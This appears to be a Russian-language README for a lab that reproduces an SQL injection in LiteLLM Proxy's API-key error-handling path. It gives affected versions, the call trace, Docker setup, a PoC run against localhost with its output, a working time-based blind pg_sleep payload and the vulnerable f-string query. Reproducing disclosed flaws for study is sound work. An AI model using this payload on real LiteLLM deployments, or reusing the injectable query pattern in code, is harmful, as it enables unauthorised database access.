imjdl/cve-2026-42208_labСреда воспроизведения критической SQL-инъекции в аутентификации API-ключей LiteLLM Proxy, с time-based blind PoC и Docker-настройкой для тестирования.
| Пункт | Детали |
|---|
| Уведомление | GHSA-r75f-5x8p-qvmc |
| Тип | SQL-инъекция (CWE-89) |
| Критичность | Критическая |
| Затронутые версии | litellm >=1.81.16, <1.83.7 |
| Исправлено в | litellm >=1.83.7 (коммит 4dc416ee74) |
Инъекция происходит в пути обратного вызова при обработке ошибок, а не в основном потоке аутентификации. Когда отправляется токен без префикса sk-, проверка завершается ошибкой, и исходный (нехешированный) токен проходит через цепочку обратных вызовов при сбое в SQL-запрос, использующий f-string интерполяцию:
HTTP-запрос: Authorization: Bearer <payload>
→ assert api_key.startswith("sk-") завершается ошибкой
→ _handle_authentication_error(api_key=RAW_TOKEN)
→ post_call_failure_hook
→ _enrich_failure_metadata_with_key_info
→ get_key_object(hashed_token=RAW_TOKEN)
→ get_data(token=RAW_TOKEN, table_name="combined_view")
→ SQL: WHERE v.token = '{RAW_TOKEN}' ← ИНЪЕКЦИЯ
Основной путь аутентификации через sk- не эксплуатируем, поскольку токены хешируются алгоритмом SHA256 до попадания в запрос, что даёт только символы [0-9a-f].
docker compose up -d
Это запустит LiteLLM Proxy (v1.83.3-stable) с бэкендом PostgreSQL.
pip install requests
python poc_litellm_sqli.py --target http://localhost:4000 --delay 5
╔═══════════════════════════════════════════════════════════╗
║ LiteLLM Proxy SQL Injection PoC ║
║ GHSA-r75f-5x8p-qvmc | CVE: Pending ║
║ Affected: litellm >=1.81.16, <1.83.7 ║
║ Attack: time-based blind via error-handling callback ║
╚═══════════════════════════════════════════════════════════╝
[*] Checking target: http://localhost:4000
[+] Target alive (status 200)
[*] Measuring baseline (3 requests)...
Baseline avg: 0.022s
[*] Control: non-sk- token without pg_sleep...
Control: 0.024s
=======================================================
Time-based Blind SQL Injection (pg_sleep=5s)
=======================================================
Payload: ' OR (SELECT 1 FROM (SELECT pg_sleep(5)) t) IS NOT NULL--
Response: 5.018s
[+] VULNERABLE! pg_sleep(5) confirmed
Функция pg_sleep() в PostgreSQL возвращает void, который не может использоваться в булевом контексте (OR). Полезная нагрузка оборачивает её в подзапрос, чтобы избежать ошибки типа:
' OR (SELECT 1 FROM (SELECT pg_sleep(N)) t) IS NOT NULL--
Она внедряется в запрос к combined_view в litellm/proxy/utils.py:
# Уязвимый код (<=v1.83.3)
sql_query = f"""
SELECT v.*, t.spend AS team_spend, ...
FROM "LiteLLM_VerificationToken" AS v
LEFT JOIN ...
WHERE v.token = '{token}' ← f-string интерполяция пользовательского ввода
"""